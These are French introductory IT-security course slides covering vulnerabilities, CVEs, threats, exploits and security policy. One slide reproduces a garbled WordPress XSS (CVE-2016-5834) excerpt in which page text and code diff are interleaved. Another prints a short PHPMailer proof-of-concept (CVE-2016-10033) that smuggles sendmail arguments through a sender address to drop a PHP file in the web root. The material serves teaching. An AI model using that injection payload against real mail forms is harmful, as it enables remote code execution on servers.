

Les bases de la sécurité informatique





Les 4 piliers de la sécurité

CONFIDENTIAL





Les **vulnérabilités** informatiques

- **D'origines diverses** : bug, laisser-aller, erreur, volontaire...etc
- Créent une **faiblesse** dans un système, qu'une *menace* peut exploiter
- Classées en **catégories** : matériel, logiciel, réseau, physique, humain...
- **Identifiants standardisés** : *CVE (Common Vulnerabilities and Exposures)*
- **Divulgation** : *full disclosure, responsible disclosure, darkweb, bug bounty*
- Identifier et **corriger** les vulnérabilités : tests, patchs, sensibilisation...etc



Les vulnérabilités informatiques

- Exemple : faille XSS (*Cross-Site Scripting*) dans WordPress

CVE-2016-5834

CVE-ID	class-wp-media-list-table.php
CVE-2016-5834 Learn • Seve	
Description	5,7 @@ public function column_title(\$post) {
Cross-site scripting (XSS) vulnerab remote attackers to inject arbitrary	<?php _e('File name:'); ?>
References	<?php
Note: References are provided for the	\$file = get_attached_file(\$post->ID);
<ul style="list-style-type: none">• MISC:https://wpvulndb.com/• CONFIRM:https://codex.wordpress.org/WordPress-4.7.0-Release-Notes• CONFIRM:https://github.com/WordPress/WordPress/blob/master/wp-admin/media.php• CONFIRM:https://wordpress.org/support/topic/cve-2016-5834• DEBIAN:DSA-3639• URL:http://www.debian.org/security/2016/dsa-3639• BID:91368• URL:http://www.securityfocus.com/bid/91368• SPECTRACK:1036163• URL:http://www.securitytrack.com/alerts/1036163	echo wp_basename(\$file);
	echo esc_html(wp_basename(\$file));
	?>
	</p>
	<?php

Source : <https://>



Les **menaces** informatiques

- ⦿ Danger possible qui peut **exploiter** une vulnérabilité
- ⦿ Menaces « intentionnelles » ou « accidentelles »
- ⦿ Classification (selon *Microsoft*) : usurpation d'identité, altération des données, répudiation des données, fuite de données, déni de service, élévation de privilèges.
- ⦿ **Exemples** : ancien employé mécontent, tremblements de terre
- ⦿ **Risques = Menaces × Vulnérabilités**



Les **exploits** informatiques

- Programme ou technique qui **exploite** une vulnérabilité
- *Preuve de concept* / utilisation illégale
- Exemple : exploit *PHPMailer* (CVE-2016-10033)

```
47 // Attacker's input coming from untrusted source such as $_GET , $_POST etc.
48 // For example from a Contact form
49
50 $email_from = "attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some@email.com";
51 $msg_body = "<?php phpinfo(); ?>";
52
53 // -----
54
55
56 // mail() param injection via the vulnerability in PHPMailer
57
58 require_once('class.phpmailer.php');
59 $mail = new PHPMailer(); // defaults to using php "mail()"
60
61 $mail->SetFrom($email_from, 'Client Name');
62
63 $address = "customer_feedback@company-X.com";
64 $mail->AddAddress($address, "Some User");
65
66 $mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
67 $mail->MsgHTML($msg_body);
68
69 if(!$mail->Send()) {
70     echo "Mailer Error: " . $mail->ErrorInfo;
71 } else {
72     echo "Message sent!\n";
73 }
74
75 ?>
```



Politique de sécurité informatique

- Evaluer les risques et leurs conséquences





Politique de sécurité informatique

- Définir les **objectifs** et le **périmètre**
- Quelles **situations** sont envisagées ?
- Quel **niveau de protection** requis pour chaque situation ?
- Quels moyens (coûts et priorités)
- Définir les **procédures**, les **rôles** et les **responsabilités** de chacun
- Veiller à l'application de la politique, et corriger les problèmes éventuels
- Voir norme ISO 27001, ISO 27002 et ISO 27003